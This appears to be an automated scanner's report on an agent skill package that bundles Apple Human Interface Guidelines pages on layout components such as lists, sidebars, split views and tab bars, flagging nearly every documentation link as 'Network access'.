 - Network accessline 121
 - Network accessline 123
 - Network accessline 125
 - Network accessline 129
## [Resources](https://developer.apple.com/design/human-interface-guidelines/sheets#Resources) - Network accessline 131
#### [Related](https://developer.apple.com/design/human-interface-guidelines/sheets#Related) - Network accessline 133
[Modality](https://developer.apple.com/design/human-interface-guidelines/modality) - Network accessline 135
[Action sheets](https://developer.apple.com/design/human-interface-guidelines/action-sheets) - Network accessline 137
[Popovers](https://developer.apple.com/design/human-interface-guidelines/popovers) - Network accessline 139
[Panels](https://developer.apple.com/design/human-interface-guidelines/panels) - Network accessline 141
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/sheets#Developer-documentation) - Network accessline 143
[`sheet(item:onDismiss:content:)`](https://developer.apple.com/documentation/SwiftUI/View/sheet\(item:onDismiss:content:\)) — SwiftUI - Network accessline 145
[`UISheetPresentationController`](https://developer.apple.com/documentation/UIKit/UISheetPresentationController) — UIKit - Network accessline 147
[`presentAsSheet(_:)`](https://developer.apple.com/documentation/AppKit/NSViewController/presentAsSheet\(_:\)) — AppKit - Network accessline 149
## [Change log](https://developer.apple.com/design/human-interface-guidelines/sheets#Change-log)
skills/hig-components-layout/SKILL.md
- Network accessline 101
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-components-layout/references/boxes.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Boxes | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/boxes - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/boxes - Network accessline 9
 - Network accessline 19
## [Content](https://developer.apple.com/design/human-interface-guidelines/boxes#Content) - Network accessline 25
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/boxes#Platform-considerations) - Network accessline 29
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/boxes#iOS-iPadOS) - Network accessline 31
By default, iOS and iPadOS use the secondary and tertiary background [colors](https://developer.apple.com/design/human-interface-guidelines/color) in boxes. - Network accessline 33
### [macOS](https://developer.apple.com/design/human-interface-guidelines/boxes#macOS) - Network accessline 37
## [Resources](https://developer.apple.com/design/human-interface-guidelines/boxes#Resources) - Network accessline 39
#### [Related](https://developer.apple.com/design/human-interface-guidelines/boxes#Related) - Network accessline 41
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 43
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/boxes#Developer-documentation) - Network accessline 45
[`GroupBox`](https://developer.apple.com/documentation/SwiftUI/GroupBox) — SwiftUI - Network accessline 47
[`NSBox`](https://developer.apple.com/documentation/AppKit/NSBox) — AppKit
skills/hig-components-layout/references/column-views.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Column views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/column-views - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/column-views - Network accessline 9
. - Network accessline 17
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/column-views#Best-practices) - Network accessline 19
Consider using a column view when you have a deep data hierarchy in which people tend to navigate back and forth frequently between levels, and you don’t need the sorting capabilities that a [list or table](https://developer.apple.com/desig - Network accessline 27
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/column-views#Platform-considerations) - Network accessline 31
## [Resources](https://developer.apple.com/design/human-interface-guidelines/column-views#Resources) - Network accessline 33
#### [Related](https://developer.apple.com/design/human-interface-guidelines/column-views#Related) - Network accessline 35
[Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables) - Network accessline 37
[Outline views](https://developer.apple.com/design/human-interface-guidelines/outline-views) - Network accessline 39
[Split views](https://developer.apple.com/design/human-interface-guidelines/split-views) - Network accessline 41
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/column-views#Developer-documentation) - Network accessline 43
[`NSBrowser`](https://developer.apple.com/documentation/AppKit/NSBrowser) — AppKit
skills/hig-components-layout/references/lists-and-tables.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Lists and tables | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/lists-and-tables - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/lists-and-tables - Network accessline 9
 - Network accessline 17
**Prefer displaying text in a list or table.** A table can include any type of content, but the row-based format is especially well suited to making text easy to scan and read. If you have items that vary widely in size — or you need to dis - Network accessline 23
## [Content](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Content) - Network accessline 29
**Use descriptive column headings in a multicolumn table.** Use nouns or short noun phrases with [title-style capitalization](https://support.apple.com/guide/applestyleguide/c-apsgb744e4a3/web#apdca93e113f1d64), and don’t add ending punctua - Network accessline 31
## [Style](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Style) - Network accessline 33
**Choose a table or list style that coordinates with your data and platform.** Some styles use visual details to help communicate grouping and hierarchy or to provide specific experiences. In iOS and iPadOS, for example, the grouped style u - Network accessline 35
**Choose a row style that fits the information you need to display.** For example, you might need to display a small image in the leading end of a row, followed by a brief explanatory label. Some platforms provide built-in row styles you ca - Network accessline 37
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Platform-considerations) - Network accessline 39
### [iOS, iPadOS, visionOS](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#iOS-iPadOS-visionOS) - Network accessline 41
**Use an info button only to reveal more information about a row’s content.** An info button — called a _detail disclosure button_ when it appears in a list row — doesn’t support navigation through a hierarchical table or list. If you need - Network accessline 43
An info but - Network accessline 45
 - Network accessline 57
**Use an outline view instead of a table view to present hierarchical data.** An [outline view](https://developer.apple.com/design/human-interface-guidelines/outline-views) looks like a table view, but includes disclosure triangles for expo - Network accessline 59
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#tvOS) - Network accessline 63
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#watchOS) - Network accessline 69
## [Resources](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Resources) - Network accessline 71
#### [Related](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Related) - Network accessline 73
[Collections](https://developer.apple.com/design/human-interface-guidelines/collections) - Network accessline 75
[Outline views](https://developer.apple.com/design/human-interface-guidelines/outline-views) - Network accessline 77
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 79
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Developer-documentation) - Network accessline 81
[`List`](https://developer.apple.com/documentation/SwiftUI/List) — SwiftUI - Network accessline 83
[Tables](https://developer.apple.com/documentation/SwiftUI/Tables) — SwiftUI - Network accessline 85
[`UITableView`](https://developer.apple.com/documentation/UIKit/UITableView) — UIKit - Network accessline 87
[`NSTableView`](https://developer.apple.com/documentation/AppKit/NSTableView) — AppKit - Network accessline 89
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Videos) - Network accessline 91
[ Stacks, Grids, and Outlines in SwiftUI ](https://developer.apple.com/videos/play/wwdc2020/10031) - Network accessline 93
## [Change log](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables#Change-log)
skills/hig-components-layout/references/ornaments.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Ornaments | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/ornaments - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/ornaments - Network accessline 9
 - Network accessline 25
**Consider using borderless buttons in an ornament.** By default, an ornament’s background is [glass](https://developer.apple.com/design/human-interface-guidelines/materials#visionOS), so if you place a button directly on the background, it - Network accessline 27
**Use system-provided toolbars and tab bars unless you need to create custom components.** In visionOS, toolbars and tab bars automatically appear as ornaments, so you don’t need to use an ornament to create these components. For developer - Network accessline 29
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/ornaments#Platform-considerations) - Network accessline 33
## [Resources](https://developer.apple.com/design/human-interface-guidelines/ornaments#Resources) - Network accessline 35
#### [Related](https://developer.apple.com/design/human-interface-guidelines/ornaments#Related) - Network accessline 37
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 39
[Toolbars](https://developer.apple.com/design/human-interface-guidelines/toolbars) - Network accessline 41
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/ornaments#Developer-documentation) - Network accessline 43
[`ornament(visibility:attachmentAnchor:contentAlignment:ornament:)`](https://developer.apple.com/documentation/SwiftUI/View/ornament\(visibility:attachmentAnchor:contentAlignment:ornament:\)) — SwiftUI - Network accessline 45
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/ornaments#Videos) - Network accessline 47
[ Design for spatial user interfaces ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 49
## [Change log](https://developer.apple.com/design/human-interface-guidelines/ornaments#Change-log)
skills/hig-components-layout/references/outline-views.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Outline views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/outline-views - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/outline-views - Network accessline 9
![A stylized representation of a list of folders and images, displayed in an outline view containing four columns: \[Name\], \[Date Modified\], \[Size\], and \[Kind\]. The image is tinted red to subtly reflect the red in the original six-co - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/outline-views#Best-practices) - Network accessline 17
Outline views work well to display text-based content and often appear in the leading side of a [split view](https://developer.apple.com/design/human-interface-guidelines/split-views), with related content on the opposite side. - Network accessline 19
**Use a table instead of an outline view to present data that’s not hierarchical.** For guidance, see [Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables). - Network accessline 23
**Use descriptive column headings to provide context.** Use nouns or short noun phrases with [title-style capitalization](https://help.apple.com/applestyleguide/#/apsgb744e4a3?sub=apdca93e113f1d64) and no punctuation; in particular, avoid a - Network accessline 39
**Consider offering a search field to help people find values quickly in a lengthy outline view.** Windows with an outline view as the primary feature often include a search field in the toolbar. For guidance, see [Search fields](https://de - Network accessline 41
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/outline-views#Platform-considerations) - Network accessline 45
## [Resources](https://developer.apple.com/design/human-interface-guidelines/outline-views#Resources) - Network accessline 47
#### [Related](https://developer.apple.com/design/human-interface-guidelines/outline-views#Related) - Network accessline 49
[Column views](https://developer.apple.com/design/human-interface-guidelines/column-views) - Network accessline 51
[Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables) - Network accessline 53
[Split views](https://developer.apple.com/design/human-interface-guidelines/split-views) - Network accessline 55
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/outline-views#Developer-documentation) - Network accessline 57
[`OutlineGroup`](https://developer.apple.com/documentation/SwiftUI/OutlineGroup) — SwiftUI - Network accessline 59
[`NSOutlineView`](https://developer.apple.com/documentation/AppKit/NSOutlineView) — AppKit - Network accessline 61
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/outline-views#Videos) - Network accessline 63
[ Stacks, Grids, and Outlines in SwiftUI ](https://developer.apple.com/videos/play/wwdc2020/10031)
skills/hig-components-layout/references/panels.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Panels | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/panels - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/panels - Network accessline 9
. When the situation calls for it, a panel can also use a dark, transl - Network accessline 13
When your app runs in other platforms, consider using a modal view to present supplementary content that’s relevant to the current task or selection. For guidance, see [Modality](https://developer.apple.com/design/human-interface-guidelines - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/panels#Best-practices) - Network accessline 19
**Consider using a panel to present inspector functionality.** An _inspector_ displays the details of the currently selected item, automatically updating its contents when the item changes or when people select a new item. In contrast, if y - Network accessline 23
**Write a brief title that describes the panel’s purpose.** Because a panel often floats above other open windows in your app, it needs a title bar so people can position it where they want. Create a short title using a noun — or a noun phr - Network accessline 27
**Avoid including panels in the Window menu’s documents list.** It’s fine to include commands for showing or hiding panels in the [Window menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Window-menu), but pan - Network accessline 33
## [HUD-style panels](https://developer.apple.com/design/human-interface-guidelines/panels#HUD-style-panels) - Network accessline 37
. - Network accessline 58
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/panels#Platform-considerations) - Network accessline 62
## [Resources](https://developer.apple.com/design/human-interface-guidelines/panels#Resources) - Network accessline 64
#### [Related](https://developer.apple.com/design/human-interface-guidelines/panels#Related) - Network accessline 66
[Windows](https://developer.apple.com/design/human-interface-guidelines/windows) - Network accessline 68
[Modality](https://developer.apple.com/design/human-interface-guidelines/modality) - Network accessline 70
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/panels#Developer-documentation) - Network accessline 72
[`NSPanel`](https://developer.apple.com/documentation/AppKit/NSPanel) — AppKit - Network accessline 74
[`hudWindow`](https://developer.apple.com/documentation/AppKit/NSWindow/StyleMask-swift.struct/hudWindow) — AppKit
skills/hig-components-layout/references/scroll-views.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Scroll views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/scroll-views - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/scroll-views - Network accessline 9
 - Network accessline 21
**Consider supporting page-by-page scrolling if it makes sense for your content.** In some situations, people appreciate scrolling by a fixed amount of content per interaction instead of scrolling continuously. On most platforms, you can de - Network accessline 40
## [Scroll edge effects](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Scroll-edge-effects) - Network accessline 42
In iOS, iPadOS, and macOS, a _scroll edge effect_ is a variable blur that provides a transition between a content area and an area with [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/materials#Liquid-Glass) con - Network accessline 46
* Use a [`soft`](https://developer.apple.com/documentation/SwiftUI/ScrollEdgeEffectStyle/soft) edge effect in most cases, especially in iOS and iPadOS, to provide a subtle transition that works well for toolbars and interactive elements lik - Network accessline 48
* Use a [`hard`](https://developer.apple.com/documentation/SwiftUI/ScrollEdgeEffectStyle/hard) edge effect primarily in macOS for a stronger, more opaque boundary that’s ideal for interactive text, backless controls, or pinned table headers - Network accessline 57
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Platform-considerations) - Network accessline 59
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/scroll-views#iOS-iPadOS) - Network accessline 61
**Consider showing a page control when a scroll view is in page-by-page mode.** [Page controls](https://developer.apple.com/design/human-interface-guidelines/page-controls) show how many pages, screens, or other chunks of content are availa - Network accessline 63
### [macOS](https://developer.apple.com/design/human-interface-guidelines/scroll-views#macOS) - Network accessline 69
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/scroll-views#tvOS) - Network accessline 73
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/scroll-views#visionOS) - Network accessline 87
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/scroll-views#watchOS) - Network accessline 91
**Use tab views to provide page-by-page scrolling.** watchOS displays tab views as pages. If you place tab views in a vertical stack, people can rotate the Digital Crown to move vertically through full-screen pages of content. In this scena - Network accessline 95
## [Resources](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Resources) - Network accessline 97
#### [Related](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Related) - Network accessline 99
[Page controls](https://developer.apple.com/design/human-interface-guidelines/page-controls) - Network accessline 101
[Gestures](https://developer.apple.com/design/human-interface-guidelines/gestures) - Network accessline 103
[Pointing devices](https://developer.apple.com/design/human-interface-guidelines/pointing-devices) - Network accessline 105
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Developer-documentation) - Network accessline 107
[`ScrollView`](https://developer.apple.com/documentation/SwiftUI/ScrollView) - Network accessline 109
[`UIScrollView`](https://developer.apple.com/documentation/UIKit/UIScrollView) - Network accessline 111
[`NSScrollView`](https://developer.apple.com/documentation/AppKit/NSScrollView) - Network accessline 113
[`WKPageOrientation`](https://developer.apple.com/documentation/WatchKit/WKPageOrientation) - Network accessline 115
## [Change log](https://developer.apple.com/design/human-interface-guidelines/scroll-views#Change-log)
skills/hig-components-layout/references/sidebars.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Sidebars | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/sidebars - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/sidebars - Network accessline 9
 - Network accessline 17
**Extend content beneath the sidebar.** In iOS, iPadOS, and macOS, as with other controls such as toolbars and tab bars, sidebars float above content in the [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/materi - Network accessline 19
 - Network accessline 23
 - Network accessline 29
**Group hierarchy with disclosure controls if your app has a lot of content.** Using [disclosure controls](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls) helps keep the sidebar’s vertical space to a manag - Network accessline 31
**Consider using familiar symbols to represent items in the sidebar.** [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) provides a wide range of customizable symbols you can use to represent items in yo - Network accessline 39
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/sidebars#Platform-considerations) - Network accessline 43
### [iOS](https://developer.apple.com/design/human-interface-guidelines/sidebars#iOS) - Network accessline 45
**Avoid using a sidebar.** A sidebar takes up a lot of space in landscape orientation and isn’t available in portrait orientation. Instead, consider using a [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars), - Network accessline 47
### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/sidebars#iPadOS) - Network accessline 49
When you use the [`sidebarAdaptable`](https://developer.apple.com/documentation/SwiftUI/TabViewStyle/sidebarAdaptable) style of tab view to present a sidebar, you choose whether to display a sidebar or a tab bar when your app opens. Both va - Network accessline 53
To display a sidebar only, use [`NavigationSplitView`](https://developer.apple.com/documentation/SwiftUI/NavigationSplitView) to present a sidebar in the primary pane of a split view, or use [`UISplitViewController`](https://developer.apple - Network accessline 55
**Consider using a tab bar first.** A tab bar provides more space to feature content, and offers enough flexibility to navigate between many apps’ main areas. If you need to expose more areas than fit in a tab bar, the tab bar’s convertible - Network accessline 57
**If necessary, apply the correct appearance to a sidebar.** If you’re not using SwiftUI to create a sidebar, you can use the [`UICollectionLayoutListConfiguration.Appearance.sidebar`](https://developer.apple.com/documentation/UIKit/UIColle - Network accessline 59
### [macOS](https://developer.apple.com/design/human-interface-guidelines/sidebars#macOS) - Network accessline 63
**Avoid stylizing your app by specifying a fixed color for all sidebar icons.** By default, sidebar icons use the current [accent color](https://developer.apple.com/design/human-interface-guidelines/color#App-accent-colors) and people expec - Network accessline 69
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/sidebars#visionOS) - Network accessline 73
 - Network accessline 77
#### [Related](https://developer.apple.com/design/human-interface-guidelines/sidebars#Related) - Network accessline 79
[Split views](https://developer.apple.com/design/human-interface-guidelines/split-views) - Network accessline 81
[Tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars) - Network accessline 83
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 85
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/sidebars#Developer-documentation) - Network accessline 87
[`sidebarAdaptable`](https://developer.apple.com/documentation/SwiftUI/TabViewStyle/sidebarAdaptable) — SwiftUI - Network accessline 89
[`NavigationSplitView`](https://developer.apple.com/documentation/SwiftUI/NavigationSplitView) — SwiftUI - Network accessline 91
[`sidebar`](https://developer.apple.com/documentation/SwiftUI/ListStyle/sidebar) — SwiftUI - Network accessline 93
[`UICollectionLayoutListConfiguration`](https://developer.apple.com/documentation/UIKit/UICollectionLayoutListConfiguration-swift.struct) — UIKit - Network accessline 95
[`NSSplitViewController`](https://developer.apple.com/documentation/AppKit/NSSplitViewController) — AppKit - Network accessline 97
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/sidebars#Videos) - Network accessline 99
[ Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd - Network accessline 101
## [Change log](https://developer.apple.com/design/human-interface-guidelines/sidebars#Change-log)
skills/hig-components-layout/references/split-views.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Split views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/split-views - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/split-views - Network accessline 9
 for navigation, where the leading pane lists the top-level items or collections in an app, and the secondary and - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/split-views#Best-practices) - Network accessline 19
**Consider letting people drag and drop content between panes.** Because a split view provides access to multiple levels of hierarchy, people can conveniently move content from one part of your app to another by dragging items to different - Network accessline 21
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/split-views#Platform-considerations) - Network accessline 23
### [iOS](https://developer.apple.com/design/human-interface-guidelines/split-views#iOS) - Network accessline 27
### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/split-views#iPadOS) - Network accessline 31
**Account for narrow, compact, and intermediate window widths.** Since iPad windows are fluidly resizable, it’s important to consider the design of a split view layout at multiple widths. In particular, ensure that it’s possible to navigate - Network accessline 33
### [macOS](https://developer.apple.com/design/human-interface-guidelines/split-views#macOS) - Network accessline 35
In macOS, you can arrange the panes of a split view vertically, horizontally, or both. A split view includes dividers between panes that can support dragging to resize them. For developer guidance, see [`VSplitView`](https://developer.apple - Network accessline 43
 - Network accessline 45
 - Network accessline 55
**Prefer the thin divider style.** The thin divider measures one point in width, giving you maximum space for content while remaining easy for people to use. Avoid using thicker divider styles unless you have a specific need. For example, i - Network accessline 57
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/split-views#tvOS) - Network accessline 67
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/split-views#visionOS) - Network accessline 69
**To display supplementary information, prefer a split view instead of a new window.** A split view gives people convenient access to more information without leaving the current context, whereas a new window may confuse people who are tryi - Network accessline 71
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/split-views#watchOS) - Network accessline 77
**If your app displays multiple detail pages, place the detail views in a vertical[tab view](https://developer.apple.com/design/human-interface-guidelines/tab-views).** People can then use the Digital Crown to scroll between the detail view - Network accessline 79
 - Network accessline 83
#### [Related](https://developer.apple.com/design/human-interface-guidelines/split-views#Related) - Network accessline 85
[Sidebars](https://developer.apple.com/design/human-interface-guidelines/sidebars) - Network accessline 87
[Tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars) - Network accessline 89
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 91
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/split-views#Developer-documentation) - Network accessline 93
[`NavigationSplitView`](https://developer.apple.com/documentation/SwiftUI/NavigationSplitView) — SwiftUI - Network accessline 95
[`UISplitViewController`](https://developer.apple.com/documentation/UIKit/UISplitViewController) — UIKit - Network accessline 97
[`NSSplitViewController`](https://developer.apple.com/documentation/AppKit/NSSplitViewController) — AppKit - Network accessline 99
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/split-views#Videos) - Network accessline 101
[ Make your UIKit app more flexible ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 103
## [Change log](https://developer.apple.com/design/human-interface-guidelines/split-views#Change-log)
skills/hig-components-layout/references/tab-bars.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Tab bars | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/tab-bars - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/tab-bars - Network accessline 9
 - Network accessline 15
**Use a tab bar to support navigation, not to provide actions.** A tab bar lets people navigate among different sections of an app, like the Alarm, Stopwatch, and Timer tabs in the Clock app. If you need to provide controls that act on elem - Network accessline 27
**Consider using SF Symbols to provide familiar, scalable tab bar icons.** When you use [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols), tab bar icons automatically adapt to different contexts. For exa - Network accessline 29
 for tab bar icon dimensions. - Network accessline 33
 - Network accessline 35
**Use a badge to indicate that critical information is available.** You can display a badge — a red oval containing white text and either a number or an exclamation point — on a tab to indicate that there’s new or updated information in the - Network accessline 37
 - Network accessline 45
### [iOS](https://developer.apple.com/design/human-interface-guidelines/tab-bars#iOS) - Network accessline 47
A tab bar floats above content at the bottom of the screen. Its items rest on a [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/materials#Liquid-Glass) background that allows content beneath to peek through. - Network accessline 49
For tab bars with an attached accessory, like the MiniPlayer in Music, you can choose to minimize the tab bar and move the accessory inline with it when a person scrolls down. A person can exit the minimized state by tapping a tab or scroll - Network accessline 51
. - Network accessline 61
### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/tab-bars#iPadOS) - Network accessline 63
The system displays a tab bar near the top of the screen. You can choose to have the tab bar appear as a fixed element, or with a button that converts it to a sidebar. For developer guidance, see [`tabBarOnly`](https://developer.apple.com/d - Network accessline 70
 - Network accessline 72
 - Network accessline 76
To present a sidebar without the option to convert it to a tab bar, use a [navigation split view](https://developer.apple.com/documentation/swiftui/navigationsplitview) instead of a tab view. For guidance, see [Sidebars](https://developer.a - Network accessline 80
**Let people customize the tab bar.** In apps with a lot of sections that people might want to access, it can be useful to let people select items that they use frequently and add them to the tab bar, or remove items that they use less freq - Network accessline 82
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/tab-bars#tvOS) - Network accessline 114
For additional guidance, see [Live-viewing apps](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps). - Network accessline 116
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/tab-bars#visionOS) - Network accessline 128
Collapsed - Network accessline 130
Expanded - Network accessline 132
**If it makes sense in your app, consider using a sidebar within a tab.** If your app’s hierarchy is deep, you might want to use a [sidebar](https://developer.apple.com/design/human-interface-guidelines/sidebars) to support secondary naviga - Network accessline 134
## [Resources](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Resources) - Network accessline 136
#### [Related](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Related) - Network accessline 138
[Tab views](https://developer.apple.com/design/human-interface-guidelines/tab-views) - Network accessline 140
[Toolbars](https://developer.apple.com/design/human-interface-guidelines/toolbars) - Network accessline 142
[Sidebars](https://developer.apple.com/design/human-interface-guidelines/sidebars) - Network accessline 144
[Materials](https://developer.apple.com/design/human-interface-guidelines/materials) - Network accessline 146
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Developer-documentation) - Network accessline 148
[`TabView`](https://developer.apple.com/documentation/SwiftUI/TabView) — SwiftUI - Network accessline 150
[`TabViewBottomAccessoryPlacement`](https://developer.apple.com/documentation/SwiftUI/TabViewBottomAccessoryPlacement) — SwiftUI - Network accessline 152
[Enhancing your app’s content with tab navigation](https://developer.apple.com/documentation/SwiftUI/Enhancing-your-app-content-with-tab-navigation) — SwiftUI - Network accessline 154
[`UITabBar`](https://developer.apple.com/documentation/UIKit/UITabBar) — UIKit - Network accessline 156
[Elevating your iPad app with a tab bar and sidebar](https://developer.apple.com/documentation/UIKit/elevating-your-ipad-app-with-a-tab-bar-and-sidebar) — UIKit - Network accessline 158
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Videos) - Network accessline 160
[ Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 162
[ Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd - Network accessline 164
## [Change log](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Change-log)
skills/hig-components-layout/references/tab-views.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Tab views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/tab-views - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/tab-views - Network accessline 9
 - Network accessline 23
For developer guidance, see [`NSTabView`](https://developer.apple.com/documentation/AppKit/NSTabView). - Network accessline 25
## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/tab-views#Anatomy) - Network accessline 29
 - Network accessline 35
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/tab-views#Platform-considerations) - Network accessline 39
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/tab-views#iOS-iPadOS) - Network accessline 41
For similar functionality, consider using a [segmented control](https://developer.apple.com/design/human-interface-guidelines/segmented-controls) instead. - Network accessline 43
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/tab-views#watchOS) - Network accessline 45
watchOS displays tab views using [page controls](https://developer.apple.com/design/human-interface-guidelines/components/presentation/page-controls). For developer guidance, see [`TabView`](https://developer.apple.com/documentation/SwiftUI - Network accessline 47
 - Network accessline 51
#### [Related](https://developer.apple.com/design/human-interface-guidelines/tab-views#Related) - Network accessline 53
[Tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars) - Network accessline 55
[Segmented controls](https://developer.apple.com/design/human-interface-guidelines/segmented-controls) - Network accessline 57
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/tab-views#Developer-documentation) - Network accessline 59
[`TabView`](https://developer.apple.com/documentation/SwiftUI/TabView) — SwiftUI - Network accessline 61
[`NSTabView`](https://developer.apple.com/documentation/AppKit/NSTabView) — AppKit - Network accessline 63
## [Change log](https://developer.apple.com/design/human-interface-guidelines/tab-views#Change-log)
skills/hig-components-layout/references/windows.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Windows | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/windows - Network accessline 3
